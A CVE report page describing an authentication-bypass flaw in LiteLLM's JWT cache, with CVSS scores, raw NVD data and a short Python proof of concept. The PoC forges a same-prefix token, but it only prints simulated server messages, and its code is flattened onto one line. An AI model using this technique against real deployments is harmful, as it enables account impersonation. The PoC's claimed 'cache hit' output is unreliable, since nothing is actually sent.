Security Vulnerability Report
中文
CVE-2026-35030 CVSS 9.1 CRITICAL

CVE-2026-35030

Published: 2026-04-06 17:17:13
Last Modified: 2026-04-07 20:20:57

Description

LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. Prior to 1.83.0, when JWT authentication is enabled (enable_jwt_auth: true), the OIDC userinfo cache uses token[:20] as the cache key. JWT headers produced by the same signing algorithm generate identical first 20 characters. This configuration option is not enabled by default. Most instances are not affected. An unauthenticated attacker can craft a token whose first 20 characters match a legitimate user's cached token. On cache hit, the attacker inherits the legitimate user's identity and permissions. This affects deployments with JWT/OIDC authentication enabled. Fixed in v1.83.0.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:litellm:litellm:*:*:*:*:*:*:*:* - VULNERABLE
LiteLLM < 1.83.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import jwt import time # Description: Proof of Concept for CVE-2026-35030 # The vulnerability relies on the cache key being the first 20 chars of the token. # JWT headers with the same algorithm produce the same prefix. # Target algorithm (Must match the victim's configuration, e.g., HS256) algorithm = "HS256" # 1. Victim's Token (Simulated) # Header: {"alg": "HS256", "typ": "JWT"} -> Base64: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 victim_payload = {"user_id": "admin_user", "role": "admin"} victim_token = jwt.encode(victim_payload, "real_secret_key", algorithm=algorithm) print(f"Victim Token Prefix: {victim_token[:20]}") # 2. Attacker's Token Construction # The attacker creates a new token with a fake secret and fake payload. # The critical part is using the SAME algorithm. attacker_payload = {"user_id": "hacker", "role": "admin"} # The signature doesn't matter because of the cache collision logic attacker_token = jwt.encode(attacker_payload, "fake_random_secret", algorithm=algorithm) print(f"Attacker Token Prefix: {attacker_token[:20]}") # 3. Verification if victim_token[:20] == attacker_token[:20]: print("\n[!] Cache Collision Detected!") print("[+] Sending attacker token to the server...") print("[+] Server checks cache for key: '" + victim_token[:20] + "'") print("[+] Cache Hit! Server returns victim's identity.") else: print("[-] No collision.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35030", "sourceIdentifier": "[email protected]", "published": "2026-04-06T17:17:12.650", "lastModified": "2026-04-07T20:20:56.653", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. Prior to 1.83.0, when JWT authentication is enabled (enable_jwt_auth: true), the OIDC userinfo cache uses token[:20] as the cache key. JWT headers produced by the same signing algorithm generate identical first 20 characters. This configuration option is not enabled by default. Most instances are not affected. An unauthenticated attacker can craft a token whose first 20 characters match a legitimate user's cached token. On cache hit, the attacker inherits the legitimate user's identity and permissions. This affects deployments with JWT/OIDC authentication enabled. Fixed in v1.83.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:litellm:litellm:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.83.0", "matchCriteriaId": "4D8630D4-67A0-4EFF-83CD-0E8FA5D3D69B"}]}]}], "references": [{"url": "https://github.com/BerriAI/litellm/security/advisories/GHSA-jjhc-v7c2-5hh6", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}]}}